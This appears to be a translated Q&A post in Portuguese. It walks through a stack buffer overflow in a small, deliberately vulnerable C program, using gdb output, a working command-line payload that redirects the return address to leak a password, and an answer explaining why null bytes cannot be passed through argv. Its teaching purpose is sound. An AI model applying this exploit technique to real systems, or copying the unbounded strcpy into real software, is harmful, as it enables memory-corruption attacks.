Eu tenho esse programa em C.
#include <stdio.h>
#include <string.h>
char * pwd = "pwd0";
void print_my_pwd() {
printf("your pwd is: %s\n", pwd);
}
int check_pwd(char * uname, char * upwd) {
char name[8];
strcpy(name, uname);
if (strcmp(pwd, upwd)) {
printf("non authorized\n");
return 1;
}
printf("authorized\n");
return 0;
}
int main(int argc, char ** argv) {
check_pwd(argv[1], argv[2]);
return 0;
}
Eu o construo e o examino quanto a estouro de buffer.
$ make
gcc -O0 -ggdb -o main main.c -fno-stack-protector
$ gdb main
GNU gdb (Ubuntu 8.2-0ubuntu1~18.04) 8.2
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from main...done.
(gdb) b check_pwd
Breakpoint 1 at 0x76c: file main.c, line 12.
(gdb) run joe f00b4r42
Starting program: /home/developer/main joe f00b4r42
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, check_pwd (uname=0x7fffffffdc01 "joe", upwd=0x7fffffffdc05 "f00b4r42") at main.c:12
12 strcpy(name, uname);
(gdb) info frame
Stack level 0, frame at 0x7fffffffd6d0:
rip = 0x55555555476c in check_pwd (main.c:12); saved rip = 0x5555555547ef
called by frame at 0x7fffffffd6f0
source language c.
Arglist at 0x7fffffffd6c0, args: uname=0x7fffffffdc01 "joe", upwd=0x7fffffffdc05 "f00b4r42"
Locals at 0x7fffffffd6c0, Previous frame's sp is 0x7fffffffd6d0
Saved registers:
rbp at 0x7fffffffd6c0, rip at 0x7fffffffd6c8
(gdb) p &name
$1 = (char (*)[8]) 0x7fffffffd6b8
(gdb) p &print_my_pwd
$2 = (void (*)()) 0x55555555473a <print_my_pwd>
(gdb) Quit
A debugging session is active.
Inferior 1 [process 21935] will be killed.
Quit anyway? (y or n) y
$ ./main $(python -c "print 'AAAAAAAAAAAAAAAA:GUUUU'") B
non authorized
your pwd is: pwd0
Segmentation fault (core dumped)
$
Portanto, foi possível vazar o segredo do programa, mas o que eu poderia fazer se o endereço estivesse 0x55555555003a
em vez de 0x55555555473a
? Aí eu não saberia passar o zero porque ele seria representado como um byte nulo e o shell não interpretaria isso.
Então seu programa faz o seguinte. A
check_pwd
função aloca um buffer na pilha que você estoura para que o endereço de retorno seja corrompido. Você tenta e escolhe essa corrupção para que ela aponte para outra função,print_my_pwd
, a:GUUUU
string, se interpretada como um valor de 64 bits em uma máquina little endian, é 0x??0055555555473A com os primeiros 8 bits indefinidos. Se os 8 bits são zero, então você tem o endereço deprint_my_pwd
. Os 16A
caracteres estão lá para preencher aname
matriz de 8 bytes e, em seguida, substituir o ponteiro do quadro armazenado.Portanto, sua pergunta é "Se eu precisar de um byte 0 como parte do endereço de retorno, como faço para especificá-lo na linha de comando?", para a qual a resposta é "não importa, pois você está usando strcpy para fazer o estouro e isso vai parar no byte NUL para que o ataque falhe."
Em geral, a resposta à sua pergunta é que a interface para o kernel é baseada em strings C, portanto, mesmo que seu programa use memcpy em vez de strcpy, você ainda não poderá fazer o que deseja.
Ataques de estouro de buffer real saltam para seu próprio código, que frequentemente constrói o valor a ser armazenado na memória e não precisa se preocupar com caracteres NUL.